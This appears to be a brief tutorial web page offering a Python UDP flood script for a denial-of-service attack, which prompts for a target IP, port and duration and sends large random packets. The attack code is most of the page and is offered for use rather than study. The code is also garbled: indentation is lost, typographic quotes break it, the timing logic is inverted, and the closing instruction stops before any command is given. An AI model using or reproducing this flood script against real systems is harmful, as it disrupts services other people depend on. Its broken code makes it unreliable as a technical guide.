Planet Red

Denial of Service Attack by Flooding

This attack sends multiple packets to a target IP address on a specified port for a specified period of time.

Create the file and insert the following content

import socket
import random
import time

# Opens a new socket
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)

# Creates a packet
bytes = random._urandom(7000)

# Prompts user to input target IP
ip = input(‘Target IP: ‘)

# Prompts user to input target port
port = int(input(‘Port: ‘))

# Prompts user to input number of seconds to delay packets
duration = int(input(“Number of seconds to send packets:”))

timeout = time.time() + duration
sent = 0

while True:
if time.time() > timeout:
sock.sendto(bytes,(ip, port))
sent = sent + 1
print(sent, ip, port)

Then run the following command: